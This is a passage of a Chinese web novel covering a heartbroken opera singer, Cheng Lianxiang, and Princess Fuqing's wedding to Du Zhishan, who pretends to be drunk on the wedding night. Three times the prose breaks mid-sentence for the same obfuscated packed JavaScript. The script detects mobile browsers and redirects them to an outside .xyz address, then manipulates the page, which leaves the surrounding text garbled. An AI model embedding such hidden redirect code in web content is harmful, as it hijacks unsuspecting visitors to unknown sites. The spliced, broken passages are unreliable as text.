顾仙人自然是知道程怜香的伤心事,他担心程班主误以为是自己扎坏了他的宝贝徒弟,本想赶紧向程班主解释一番,谁知嘴还未张开,程班主已经摆摆手。 “不必多说了,在老郎庙时我便瞧出来,怜香这个傻孩子是动心了。” 顾仙人先是诧异了一瞬,立刻又了然地点点头,“到底是你啊,兰兰。这种事还是你看得透彻。” 程班主一个眼刀扫过去,顾仙人便乖乖捂住了嘴。见顾仙人不再胡说,程班主继续说道:“我那时候本以为他回来无望了,还觉得这样也好,至少后半生不会过得太苦,谁知道最后竟是这样的结果。” 顾仙人看向程怜香,对方还只是一味的掉泪,顾仙人有些无奈,重重叹口气说道:“行了,你早知道哭还好了呢,不就不会被人赶出来了?” 眼见着程怜香的眼泪越来越多,程班主赶紧拎着顾仙人的衣领子将人提了出来。 “实话还不兴人说了?兰兰你是过来人,你就说我说的对不对吧?” 程班主向顾仙人翻了个白眼,“没空听你胡诌,你就说这孩子怎么办吧?” 顾仙人脑袋一扭,故意说道:“他是你徒弟又不是我徒弟,我怎么知道怎么办?” “顾老仙,我看你是找打是不是?”程班主丝毫不客气,拿起一旁的马鞭指着顾仙人鼻子说道:“我可告诉你,怜香要是有个三长两短,我饶不了你!” 顾仙人看着横眉竖眼的程班主却露出一个笑容,伸出食指将马鞭从自己鼻子前推开,“兰兰,难道你没听过治身病易、治心病难吗?你现在让我保住小香香的命自然简单,可若是他一直都这副模样,我即便治得了一时,也治不了一世啊。” 程班主也知道顾仙人所言有理,虽说还是气势汹汹的,但小拇指一勾便将马鞭收了回来。 “这么说,怜香的病还是不碍事的吧?” 顾仙人摆手,“根本没有病,就是发愁愁的。” “那我就放心了,只要他身体好好地,我有办法让他重新活过来。” 顾仙人见程班主说得如今胸有成竹,探究地问道:“什么法子?” 程班主微微一笑,手指用力,将挂在小拇指的马鞭转了一圈捏在手中,举到顾仙人眼前。顾仙人立刻明白过来,笑着点一点头。 再之后,便是和春班对外传出程怜香即将登台的消息。 程班主确实没想错,程怜香是个最热爱并且尊重戏台的人,不论发生了什么,程怜香都不允许自己对不起台下的观众。所以在听说自己登台那天的戏票已经被哄抢一空的时候,程怜香主动让师弟将饭菜端到了跟前。第二天一大早,程班主便已经看到程怜香在院子中跟师兄弟们一同吊嗓子了。 待顾仙人再登门的时候,程怜香已经重新扮上相站在戏台上排练了。顾仙人看着程班主认真地盯着站在舞台上的程怜香,顺手摸起他放在桌上的茶壶,对着壶嘴毫不客气地喝了一口。 “兰兰,下次你若不想喝便别泡了,我自己都舍不得喝的好茶叶给了你,全让你给糟蹋了。” 程班主瞥了他一眼,“我乐意。” 顾仙人见程班主一心盯着台上唱戏的程怜香,也跟着程班主并排站着听了起来。顾仙人从小跟着程班主玩,除了中药铺子以外最熟悉的地方便是戏院,自然对于戏曲也颇有几分自己的见解。 程怜香正在台上唱《梅妃》中梅妃与唐明皇重逢一段,这是从前他便十分擅长的曲目,顾仙人也听过多次,但这次怎么听顾仙人都觉得有什么不同以往了。 “兰兰,我怎么觉得小香香唱的同从前不太一样了?” 程班主看向顾仙人,忽然伸出手将自己的茶壶抢了回来。 “他自己在唱段里加了哭腔,你怎么连这都听不出来?” 被程班主提醒后顾仙人又看向戏台,程怜香身着大宫装,一双眸子看着唐明皇泫然欲泣,水袖轻扫,只觉得一举一动皆是哀伤。 顾仙人此时终于了然,“心儿碎、愁难解,血泪心酸我向谁诉来?看来小香香唱的不是梅妃,唱的是他自己啊。” 程班主看向顾仙人,眉宇间全是担忧,“就像你说的,我虽是他师父,却也治不了他的心病。如今我只能寄希望于时间,也许日子久了,有些东西便能够淡忘。” 顾仙人转过身面对着程班主,“兰兰,感情这东西是能够随着时间忘记的吗?旁人不清楚,难道你我还不明白吗?” 听完顾仙人的话,程班主长叹一口气,他自然明白感情并非是通过时间便能够治愈的,也明白有些感情过的日子久了,反而会变成一个结了痂的伤口,在心头又痒又痛,直教人不知道怎么办才好。 顾仙人走进程班主,轻声说道:“我听闻,公主的大婚日子已经定下来了,就在四月十七。” 程班主微微皱眉,“竟这么着急吗?” 顾仙人点头,“我听说的时候也是吃了一惊,后知后觉想到,怪不得公主府这么着急要把小香香赶紧打发出来。” 程班主看向程怜香,台上的人并不知道台下两人正在念叨他,只是一心投入在角色中。对于程怜香来说,他从未有过如此理解梅妃这个角色的时刻。 半晌,程班主忽然下定决心一般对顾仙人说道:“既然此事是你打听到的,便由你去跟怜香讲清楚吧。” 顾仙人吃了一惊,梗着脖子扭头看向程班主,“你怎么不去?” 程班主只是扫了顾仙人一眼,后者便立刻不情愿地扭回了头,“好好好,我去跟小香香说。只不过咱们先说好,若没谈拢,你可别怪我。” “放心,我不怪你。”程班主微笑着看向顾仙人,“我打死你。”说完,从顾仙人身旁径直走开了。 顾仙人看着程班主扬长而去的背影,半晌却是无奈一笑。 回到后台,程怜香卸下盔头,看着怀中盔头上两根长长的翎子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446139|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程怜香忽然想起来苻庆在马车上调戏自己的模样,不觉轻轻叹了一口气。 “小香香想什么呢?怎么坐在这叹气?” 程怜香不愿直说,只是将手中盔头仔细放回箱子里。 “顾老仙,不是说好不用施针了吗?我最近没有绝食。” 顾仙人摆摆手,“你放心,我不是为着扎你来的。” 程怜香坐回凳子上,抬头看向顾仙人,“那你说吧,究竟找我有什么事?” 看着程怜香文文静静坐在那里的样子,顾仙人忽然觉得到了嘴边的话有些说不出口,咽了口吐沫后说道:“我听说,你十八日便要重新登台了?” 程怜香点头,“你放心吧,到时候会给你留张二楼的桌子。不过老规矩,茶叶你得自己带。” 顾仙人支吾着点点头,心中却在盘算自己应该怎么讲出那件最重要的事。 程怜香见顾仙人说话欲言又止,其实已经猜到了对方大概想说什么,干脆自己开口道:“行了顾老仙,这副吞吞吐吐的样子可不像你的性子,有话你就直说吧。” 顾仙人见程怜香已经猜到,终于放下心来,“我听着消息说苻庆公主四月十七便要大婚了,便想着过来问问你知道此事吗?” 程怜香本以为顾仙人最多便是问一问自己究竟为何会被公主府赶出来,谁知说出的却是这样的话,一时有些反应不过来愣在了原地。 顾仙人只看着程怜香像是傻了一般愣住,以为对方是被自己的话戳中了伤心事掉了魂,几乎是一个箭步冲上去便要给程怜香掐人中。 “小香香!你别吓唬我!” “等等,等等。”程怜香被顾仙人的动作吓了一跳,赶紧伸手制止住了对方。“我没事,你要做什么?” 顾仙人长舒一口气,“你又不是不知道,你师父成日在外面瞧着慈眉善目的,那脾气上来了也足够我喝一壶了,你可别害我啊。” 程怜香有些无奈,伸手示意顾仙人坐在一旁的圆凳上。 “我知道她十几日便要成婚,只是没想到竟是十七。” 顾仙人小心翼翼的瞥着程怜香脸色,“这真是巧合,我也没想到啊。” 程怜香眼眸低垂着,想起在宁国公府唱堂会时他看到的那一双壁人,确实无论从哪个角度来看,他们都才是最相配的。 “这样也好,她早日成婚,也就又有人能陪着她了。”这几日程怜香总在想,苻庆这么爱热闹的一个性子,现在一个人住在公主府中,会不会有一刹那觉得孤独,又会不会有一刹那能够想起自己。 “小香香,我将此事告诉你可不是让你伤心的。”顾仙人斟酌着说道:“我只是觉得既然公主都要大婚了,便证明之前的事情都已经过去了。你若再沉溺其中,实在没有一丝好处。” “我明白你和师父都是为了我好。”程怜香微笑着开口,“你们放心吧,我日后不会再做伤害自己的事情了。” 顾仙人打心底还是觉得程怜香的承诺并不靠谱,但还是点头说道:“如此便是最好的了。” 该说的话已经说完了,顾仙人和程怜香闲聊几句便起身告辞,他能看出程怜香的心情还是不好,却也说不出什么话来安慰他。 50. 大婚 程怜香对着镜子又坐了一会才慢吞吞地站起来换下了戏服,要洗脸时却发现水盆中的水是脏的,便端起水盆向屋外走去,打算将脏水泼在园中。 还没走到门口,一道瘦瘦高高的身影挡住了门口。程怜香不明所以地抬起头,看见程清秋板着脸站在那里,手里还端着一盆子清水。 “小秋……” 程怜香话还没说出口,程清秋已经越过程怜香将水盆放在了架子上,又回身向他走来,一把将他手中的水盆夺走了。 “你身体刚好些,还是省着点力气上台唱戏吧。” 看着程清秋利索地走出门将脏水倒掉,程怜香有些愧疚,“小秋,谢谢你。” 程清秋回来把空盆子摆好,低着头继续收拾大家摆在桌上的上妆用品。“不用你谢我,只是举手之劳。” 程怜香不在意程清秋的态度,主动走上前说道:“我知道,这几日送到我屋里的饭菜也是你去厨房端的。小秋,这几日是我给咱们戏班子添麻烦了。” “既然知道是添麻烦,你便应该赶紧好起来。”程清秋将手中的抹布向桌上狠狠一砸,“如今你这幅样子又是什么意思?难道你还想着做样子给那个没有心肝的女人看吗?” 程怜香一愣,程清秋却以为对方是被自己说的话戳中心事,继续说道:“师哥,我看你是已经忘了自己从前说的话立的志向了!不过是区区一个女子,有必要为她这样要死要活吗?你忘了咱们从小受了多少苦多少罪才能够走到今天,为了一个根本没把咱们放到过眼里的人,你居然让整个戏班子都替你担心,我看你真是傻了!” 程怜香缓了半晌才能找回自己的声音,他知道程清秋是为了他好,也知道在某种意义上程清秋骂得对。 “她并不是没有把咱们放到过眼里,她是尊重咱们的。小秋,你怎么骂我都好,但不要这样指责她。” 程清秋只觉得程怜香无可救药,“师哥,都这个时候了你还要维护她?” “你不知道她,她过得也很辛苦。”程怜香轻轻闭上眼睛,“公主,是有苦衷的。” 程清秋再也说不出什么,只是长叹了一口气,接着便继续收拾起台上的东西。程怜香走到一旁将脸上的妆洗掉,擦干净脸的时候发现程清秋还在屋里,忽然开口问道:“你知道举办婚礼的时候,新郎几时迎新娘回府吗?” “一般都是酉时吧,他们爱从御街那边走,咱们这边一般是见不着的。”程清秋做完手中的活,最后恨铁不成钢地看了程怜香一眼,转身走了出去。 “酉时……”程清秋坐在圆凳上,看着镜中的自己喃喃自语,“只是不知道你还想不想见我。” 四月十七那日,御街上早早便挤满了看热闹的人。程怜香穿了一身黛绿色直缀,头上还戴着一顶帷帽,因此站在人群中也并不显眼。 很快,道路尽头的人群便已经传来骚动。程怜香悄悄掀开帷子望去,果然看见杜至善骑着高头大马向这边走来。 原先也曾经想象过这个场面,今日真的见到了,程怜香第一感觉却是那抬花轿怎么能这么小,小到他都怀疑苻庆在里面究竟是怎么坐下的。 “快看,那是太子啊!是太子亲自护送苻庆公主出嫁的!” 程怜香尚未听清,人群便已经跪倒一片,大家齐声高呼着:“太子殿下千岁千岁千千岁!” 这也出乎了程怜香意料,他之前也从未见过太子。程怜香悄悄抬起头,那个骑在马上身着龙爪袍服的男孩看起来还有些稚嫩,但眉宇间已经透露出隐隐约约的威严。 能够让太子亲自送嫁,便已经能够看出皇室对苻庆的态度。程怜香并不知道苻庆婚礼的其它细节,只觉得这样安排至少能够让杜至善明白,他是绝对不能辜负苻庆的。 迎亲的队伍渐行渐远,直至完全消失在道路的尽头,大家也跟着一哄而散,只有程怜香还愣愣地站在原地,望着他已经看不到什么的方向。 “苻庆,现在的你快乐吗?”程怜香轻声问道。 婚礼按照礼部安排在公主府举办,就在千挑万选最终认定的揽晴轩。苻庆前段时间都在翠华庭数日子,虽然偶尔能够看到下人在门外搬着东西进进出出,但并没有看到揽晴轩最终被收拾成了什么样子。 到达公主府后,轿帘被松醪轻轻掀开,沈清嘉已经下马在轿子口等着。苻庆伸出一只手扶住沈清嘉的胳膊,走出花轿。 杜至善也已经下马,就站在一旁。他现在已经发现沈清嘉对自己的微妙敌意,因此并不急于上前,反正最后沈清嘉还是要把苻庆交到自己手中的。 准备好的红绸被递上前,沈清嘉拿着红绸子的这一头抬头看向杜至善,对方已经将红绸子的另一端拿在手里,微笑向他点头示意。 沈清嘉也发现自己不得不将红绸交到苻庆手中,而这时候杜至善的表情就显得更加讨厌。沈清嘉冷哼一声,将红绸递给了苻庆。 苻庆并不知道沈清嘉与杜至善之间的你来我往,饶是平日里再粗枝大叶的她此刻也有些紧张。毕竟今日还是有很多杜家以及杜家的亲友在的,她绝不能在这些人面前丢了苻家的脸。因此,现在的苻庆心中只有一个想法——打起精神,好好唱完这出戏。 所幸大夏仪式本身也并不繁琐,跨过马鞍和火炉后,苻庆和杜至善便已经走入公主府。正堂中,杜太傅和赵王已经端坐在太师椅上,苻庆隔着团扇看过去并不真切,但还是能瞧出杜太傅比起六年前看上去是老了一些,而赵王还是那副装腔作势的老样子。 沈清嘉率先走进去与杜太傅和赵王一一见礼,接着便是苻庆与杜至善牵着红绸一同走进。 杜太傅先是说了一段感念皇恩的发言,之后又开始告诫二人应当互敬互爱、举案齐眉,苻庆只感觉站着都要听得昏昏欲睡,心中不停地感慨沈清嘉每日在东宫是怎么坚持下来的。 轮到赵王说话的时候便简短了许多,赵王轻轻咳嗽一声,“本王不像杜太傅能说出这些道理来,只是想着苻大哥从前的恩情,看到公主能够有个依靠便很高兴。等明年公主再给杜家生个大胖小子,便是真正的人生圆满了!” 苻庆只觉得赵王开口便显得呕哑嘲哳,只可惜不能将耳朵关起来。更何况赵王说的这叫什么话,好像她此生最大的功劳便是给杜家生一个儿子似的,居然还好意思提她的父亲。 “赵王。”沈清嘉开口打断了赵王的笑声,“你忘了,父皇已经下旨晋升苻庆公主为璇玉长公主,所以今日你得称呼长公主殿下了。” 赵王自然明白这是沈清嘉刻意而为,但对方是太子,他绝不会蠢到太子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446140|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种无关紧要的小事上起了争执,立刻答应道:“太子殿下说的是。” 沈清嘉也不管赵王是否还要说什么,直接对喜婆吩咐道:“赶紧继续进行吧。” 随着喜婆高喊“夫妻对拜”的声音,苻庆对着杜至善福身行礼,她的脑子因为这个环境变得有些发懵,但她一遍遍强迫自己冷静下来。 在这座看似是属于她的公主府中,苻庆与眼前这个人完婚了,即便两个人在两个多月前还不过是陌生人,但今日之后便要演起恩爱的把戏了。而周围的人群乱糟糟的,看似每个人都是为自己而来,实则真正与自己有些亲缘关系的,不过沈清嘉一个人。 还好有沈清嘉在,否则苻庆真的感觉这是一场她自始至终都游离在外的闹剧。 这是苻庆时隔多日再踏入揽晴轩,却已是物是人非。揽晴轩本身便装修得并不复杂,从前为了安置程怜香在此处,松醪也不过是从库房取了些金石玉器摆在了多宝阁上。这次再看,揽晴轩屋内已经大不一样了。从前专门放着让程怜香上妆的梳妆台不见了,连带着摆放脸盆的架子与临时挂戏服的架子也都扔掉了。那张一开始用来绑着程怜香的床榻也已经被更换过了,床榻上摆放着大红色的喜被,还有撒帐掉在床上的桂圆、红枣等物。 苻庆脚步一滞,若非刚才是她自己走过来的,她真的不敢相信这里是揽晴轩。 苻庆与杜至善坐在床边,由喜婆从二人头上各剪了一缕头发。 喜婆将这两缕头发仅仅系在一起,笑着说道:“结发为夫妻,恩爱两不疑。” 苻庆悄悄呼了一口气,她知道,如此自己的任务便算是完成了。 一屋子人很快便退了出去,房中只留下苻庆和杜至善二人。虽说二人一言不发致使氛围有些尴尬,但苻庆知道不一会杜至善便会被叫出去喝酒,忍过这一会便好了。 谁知第一个打破沉默的是杜至善。 “你饿吗?” 苻庆被杜至善没头没脑的问题逗笑,自己把团扇放到了一旁。“怎么,杜家没让你吃饱就把你赶出来了?” 杜至善听了这话也笑了,“是我想着新娘一会也不能去前厅吃宴席,那样你今晚不会饿吗?” 苻庆伸手摸摸肚子,其实这几日在晏呢殿她便吃得很少,只要一回到宫中苻庆就还是吃不惯那些清汤寡水的饭菜。但一想到今日的宴席也是由宫中准备,苻庆最终只是摆摆手。 “算了,少吃一顿也饿不死。” 杜至善还想说什么,门外已经有人轻声唤他。 苻庆点点头,“我知道你还要去花厅敬酒,赶紧去吧,不必管我了。” 杜至善想了想没有说话,点点头站起身,向门外走去。 眼见着杜至善就要走出屋子,苻庆只感觉自己心中绷了一下午的弦终于能够松动一会了。 “公主。” 苻庆看着站在门口突然回头的杜至善,还是保持住了脸上的笑容,“又怎么了?” “一会我让我的人送些饭菜过来,他叫决明,你让你的人接过来就是。你放心,我吩咐决明买的是醉仙居的菜,都是你素日爱吃的。” 苻庆没想到杜至善思虑得如此周全,连饭菜从醉仙居买这样的细节都想到了,便真心实意地说了句:“谢谢你。” 51. 伤心 今日起的有些早,屋子中一冷清下来,苻庆就犯困。反正床榻就在这里,苻庆把那些桂圆红枣往床里面推了推,给自己清理出一个能容纳下身体的小空间,便心满意足地趴在被子上睡着了。 不知道是不是因为这是揽晴轩的事情,苻庆这都已经与程怜香分开半月了,今天居然梦见了他。 虽说程怜香顶着面首的名号在公主府住了两月,但实际上苻庆从来没有在他的床上睡过觉,甚至除了绑程怜香那晚,苻庆后面都没再上过程怜香的床。因此按照常理来说,苻庆应该与程怜香以及他的床并不熟悉才对。 可这一梦,偏偏又梦见了和程怜香在床上。 而且最离谱的是,还是在这张床上。 那是个极其香艳的梦。在梦中,程怜香穿着一袭大红色的嫁衣,眼睛上被蒙着一条红色的纱巾。苻庆将程怜香压在这张床上,手指紧紧扣着程怜香的手掌。程怜香的额头上有汗,头轻轻扬起,露出一截纤细又白皙的脖颈。 苻庆即便做梦也从不委屈自己,毫不迟疑地俯身咬在了程怜香的喉结上。 印象中,程怜香还闷哼了一声。 高大的屋门发出吱呀一声响,苻庆在梦中也听到了,猛地惊醒过来。迅速坐起身,才发现原来是松醪端着饭盒走了进来。 松醪被苻庆起身的动作也吓了一跳,扭过头去看见苻庆面色微红,胸口上下起伏喘着粗气,松醪也有些诧异,将手上的食盒放在桌上,赶紧走到床边用手背试了试苻庆额头的温度。 “公主,您没发烧吧?” 苻庆抬手一摸,果然自己的脸蛋有些烫手。有些心虚地将松醪的手推开,苻庆赶紧用桌上的食盒转移话题,“终于可以吃饭了,我早就饿了。” 松醪听了这话赶紧将食盒中的饭菜一样样摆出来,同时轻声说道:“公主放心,奴婢刚才都用银针试过了,可以放心吃。” 苻庆睁大眼睛看向松醪,她还真没想到杜至善有可能会在饭菜中给自己下药这件事。 松醪将筷子递给苻庆,“虽说杜博士看起来是位正人君子,但他那个小厮咱们又没接触过,还是小心些为好。” 苻庆点头,“你说得对,还是松醪你想得周到。” 看菜色确实都是在醉仙居自己常吃的菜,苻庆一样菜吃了几口。婚服的腰带系得有些紧,头上的钗环也有些沉,这些都影响了苻庆的胃口,所以很快苻庆便不想吃了,摆这一桌子菜在屋里也不像话,便让松醪将饭菜撤下了。 收拾好桌子,苻庆正坐在一旁的贵妃榻上发呆,松醪怕她心情不好,走过去问道:“公主,可还有什么吩咐?” 苻庆想了想,拍拍身边的位置,“你坐下。” 松醪并不推辞,只不过还是走到一旁搬了个圆凳过来,坐在了苻庆的脚边。 苻庆知道对于松醪来说,尊卑有序早已经刻在了骨头里,因此也不再坚持。 “松醪,你说礼部的动作可真迅速,这才几日就能把揽晴轩改得我都认不出来了。” 松醪的视线跟着苻庆在屋中划了一个圈,点头说道:“明明之前揽晴轩也是礼部修的,怎么这次还要改动这么大?” 苻庆撇撇嘴,“自然是因为糊弄我好糊弄,但杜至善却要仔细对待。” 松醪了然,露出一个微笑。“公主,按照您的吩咐,昨日奴婢在宫中打探过了。说来也奇怪,奴婢竟打听到有传闻说,陛下想要杜博士去兵部。” “兵部?”苻庆眼前一亮,却没有说出来,只是问道:“这是从哪传出来的?” 松醪只当苻庆也对此事很不理解,“奴婢也不明白,按道理来说杜博士之前在国子监管着修书,即便离开国子监也应当去礼部才是。即便皇上再想着提拔他,那也应当去吏部,怎么会让杜博士一介书生去兵部呢?” 苻庆也不知道这件事究竟是怎么回事,若非好运,便只有可能是杜至善提前从中斡旋,让皇帝产生了想要去他去兵部的想法。但不论如何,如果最后真能够达成这样的结果,那对于他们二人的计划一定是很有帮助的。 “自锦西城陷落,陛下一直重文轻武,在兵部和枢密院任职的文官人数远高于武将,这样的安排也很正常。”苻庆细细考量一会,接着说道:“松醪,你这几日再仔细打探打探,若有什么消息,一定要立刻告诉我。” 松醪点点头,心里盘算着明日要递条子给谁来打探这件事更加准确的消息,如此忽然想到明日府中便要多一个人了。 “公主,其实就连贵妃娘娘都没想到,杜博士居然愿意住到公主府来。” 苻庆能够想象到薛贵妃得知这件事的时候是多么的诧异,不觉哑然失笑。“你们放心,我也没想到。” 松醪皱着眉头说:“公主,奴婢怎么觉得杜博士好像喜欢您?” “喜欢我?”苻庆指着自己笑道:“松醪,你还真以为我是香饽饽啊?能让这世上的男的都上赶着喜欢我?” “可是即便是皇室的嫡出公主,也没听过驸马愿意主动住到公主府的事情啊。”松醪有些疑惑,“公主,此事若非是因为杜博士喜欢您,那奴婢真的想不到理由解释了。” 那是因为杜至善想要凭借这股好风,送他上青云呢。苻庆微微一笑,她自然不会说出这句话。 “杜至善从前在国子监的时候便不常回家,想必是也有一些隐情。如今他有了更加名正言顺的理由,焉有不好好利用的道理?” 虽然苻庆说的话有些道理,但松醪还是觉得这件事的逻辑有些说不通的地方。 苻庆看着松醪歪着脑袋、皱着眉头,仍然是一脸疑惑的样子,不禁觉得她实在是可爱,伸出手摸了一下松醪的脑袋。 “松醪,你是不是也被程怜香传染傻了?喜欢一个人哪有这么简单啊?更何况我与杜至善更不熟悉,他哪有道理喜欢我呢?” 这是苻庆自从程怜香离府后第一次主动提到这个名字,话说出口的时候她与松醪都是一愣,接着二人都沉默了。 “公主,您现在偶尔还是会想起程伶人吗?” 苻庆抬头看向松醪,对方没有笑,表情有些认真。苻庆以为松醪是担心自己做傻事,赶紧保证道:“你放心,如今我已经成婚了,便是绝不可能再去找程怜香的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446141|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 但松醪想的却不是这个,“公主,奴婢是觉得程伶人对公主,好像是真心的。” “什么?”现在换苻庆吓了一跳,她怎么都没想到松醪居然会在自己与杜至善成婚的婚房中说出这样惊世骇俗的话来。“松醪,你是不是疯了?” 其实这句话在松醪的嘴边堵了很多天了,从前她一直旁观着苻庆和程怜香的互动,也能够看出有一些情愫在他们二人之间暗流涌动,但却没想到最后的结局是这样的急转直下。 这几日她看着苻庆的样子,几乎可以用魂不守舍来形容。其实松醪很不理解苻庆为什么要把程怜香送出府,特别还是在连她都能看出程怜香已经喜欢苻庆的情况下,这根本不符合苻庆从前的处事风格。 “公主,您为什么就不肯相信程伶人是真的喜欢您呢?您觉得送程伶人出府是好,可是奴婢倒觉得程伶人并不高兴啊。” 苻庆下意识否认,“怎么可能?” “怎么不可能?公主,奴婢派人去打探过了,别说是和春班,便是住在和春班附近的戏班子都知道程伶人回去之后一病不起,在床上躺了好几日呢。” “一病不起?”苻庆吓了一跳,几乎是立刻跳了起来,“怎么会一病不起呢?你不是说和春班已经卖完程怜香唱戏的戏票了吗?又怎么会一病不起呢?” 松醪赶紧拉住苻庆的胳膊,“公主您别担心,那是之前的事情了,如今程伶人肯定是大好了。再者说有顾仙人在,您还怕程伶人没人管吗?” 苻庆后知后觉自己失态,坐下后挠了挠脸颊说道:“对,我忘了这一茬了。” 松醪却更加确信苻庆心中也有程怜香,那她更不明白苻庆为什么会允许现在造成这样的局面,“公主,既然您心里也有程伶人,为什么要说难听的话让他走呢?” 苻庆一愣,她从来没有细想过自己是否是喜欢程怜香,一开始她真的以为自己这样想着程怜香只是因为自己适应了程怜香在府中陪伴自己的生活。 “总归程伶人是由陛下赐给您的,杜博士也说不了什么。难道您心里对杜博士也有……” “绝对没有!”苻庆斩钉截铁地打断松醪的猜测,“我不喜欢杜至善。” 松醪不再说话,只是静静地看着苻庆。她明白此时的苻庆也正在进行内心的纠结。 苻庆站起身,在屋中来回踱步。 “我……我不能留下程怜香啊,他不属于这里,我也没道理一世都关着他。他是自由的,我不能因为自己觉得好玩,就强迫他跟我一样在这四面的高墙中度过下半生。” 松醪站起身走到苻庆身边,“既然如此,那公主至少要将这件事告诉程伶人。您是为了他好,为什么要让程伶人伤心呢?” “我……”苻庆语塞。在这一刻,她忽然想起自己在老郎庙前劝程班主的话。松醪说得对,自己这何尝不是说着为程怜香好,实则做着伤害程怜香的事情。 “公主,在奴婢心里从来不觉得皇室脸面要紧的,奴婢只想要公主幸福。” “砰”一声,屋门被推开了。苻庆回身去看,却被松醪一把拉到身后。 52. 装醉 杜至善走得歪歪斜斜,被一个身量矮小一点的男子扶着走了进来。苻庆反应过来,这人应该就是刚才杜至善提过的决明。 决明扶着杜至善走到公主面前,见松醪挡在他们之间,又往后退了两步。 “公主莫怪,我家公子酒量不好,这是让人给灌醉了。” 苻庆和沈清嘉一同长大,没少一起偷酒喝,自然知道沈清嘉的酒量。今日有他在,苻庆本就没想着杜至善能够清醒地走回房间。 “无妨,你把你家公子扶到床上躺着吧。我吩咐人熬些醒酒汤过来。” 决明有些意外苻庆居然如此好说话,赶紧把杜至善扶到床上躺下,之后便退了出去。 苻庆使了个眼神,松醪点头,走出门去要醒酒汤。 杜至善仰躺在床上,能看出来决明走得很是匆忙,连杜至善的外衫都没来得及脱下。苻庆凑过去看一看,能看出杜至善脸色酡红,呼吸也有些粗重。不知道喝了多少,但身上酒气确实是有些浓郁。 “这是真喝多了还是假喝多了?”苻庆喃喃自语道:“杜博士,你千算万算,难道没算到他们会在婚宴上灌醉你吗?这可不像你的作风。” 杜至善眼睛紧闭着,不知道是不舒服还是真的睡着了。 松醪很快就将醒酒汤取了来,苻庆轻轻拍了拍杜至善的胳膊,“杜博士,醒一醒,喝口醒酒汤吧。” 拍了好几下,杜至善才终于发出一声动静。半晌眼睛睁开,有些茫然地看着眼前的环境。 苻庆看不下去,轻轻咳嗽一声,“回回神了杜博士,你还知道你在哪吗?” 杜至善好像这才发现苻庆就站在自己身边,一骨碌坐起身来,却因为动作幅度太大差点摔倒,紧接着便感到一阵头痛。 看着杜至善紧皱着眉头的样子,苻庆知道他是醉酒后导致的头疼,示意松醪将醒酒汤递给杜至善。 “把汤喝了再睡一觉,你放心,头很快就不疼了。” 杜至善接过汤碗的时候还不忘道谢,苻庆笑一笑,觉得杜至善这人有点好玩。 喝过醒酒汤,杜至善好像也清醒了一点,知道自己现在的状态有些失仪,因此坐在那里宁愿晃悠着也不肯再躺下,挣扎了几次也没开口。 苻庆并不管他,由松醪侍奉着梳洗过后才重新走了过来。 “杜博士也不把衣服换了?要我帮你叫决明进来吗?” 杜至善这才想起自己没有脱外衣,赶紧站起身,“不必,平日里我也都是自己来的。”说完,三下五除二脱去了外面的婚服,露出里面白色的中衣来。只不过在起身的时候晃了晃,然后又趔趄着坐回了床上。 “还能站起来吗?” 杜至善抬头,苻庆正交叉着双手微笑着看着他。杜至善只感觉到有些难为情,手扶着床沿试了两次,却没站起来。 “松醪,绞一块手帕递过来。” 松醪很快便递了一块从热水里绞过的手帕到苻庆手中,苻庆走到杜至善身边,将那块手帕递给杜至善。 杜至善道谢后接过手帕,将脸和脖子擦过一遍,接着叠好手帕重新递给了苻庆。 “多谢公主,我……不胜酒力,让公主看笑话了。” 苻庆摇头,将手帕递给松醪,“杜博士别这样说,酒量本就是因人而异的,再说你我如今已是夫妻,何来看笑话这一说?” 杜至善低下头,半晌支吾着说道:“公主,这床我刚才躺过了,要不然叫个人重新换过床单你再休息吧。” “不必。”苻庆摆手示意松醪退下,而自己走到床榻对过,坐在了圆凳上。 “杜博士,如今屋里已经没有旁人了。”苻庆微笑,“咱们两个就不必再说谎话了吧?” 杜至善一愣,随即露出一个笑容,坐着的上半身也不再摇摆,就连眼神中都重新透出了清醒。 “还是逃不过公主的眼睛。” 苻庆笑着摇头,“是杜博士太爱干净,下次装醉酒的时候手帕便不必叠好了再还给我了。” 度杜至善这才意识到自己的漏洞出在哪里,也是笑着摇摇头。“公主莫怪,太子殿下实在是酒量太好了,下官真的不是太子殿下的对手。” “他的酒量我知道,所以我不怪你。相反我觉得你很聪明,”苻庆话锋一转,“这才像是我选定的盟友。” 杜至善顿了顿,又立刻拱手说道:“公主谬赞。” 苻庆有些困了,便不想再陪着杜至善说这些客套话,“既然确定杜博士没事,我也就放心了。时辰不早了,我要去睡觉了。” 杜至善却是赶紧站了起来,“公主要去哪?” 苻庆转过身,意味不明地盯着杜至善。杜至善也意识到自己刚才说的话有些冒犯,赶紧补充道:“即便是要走,也应当是我走。” 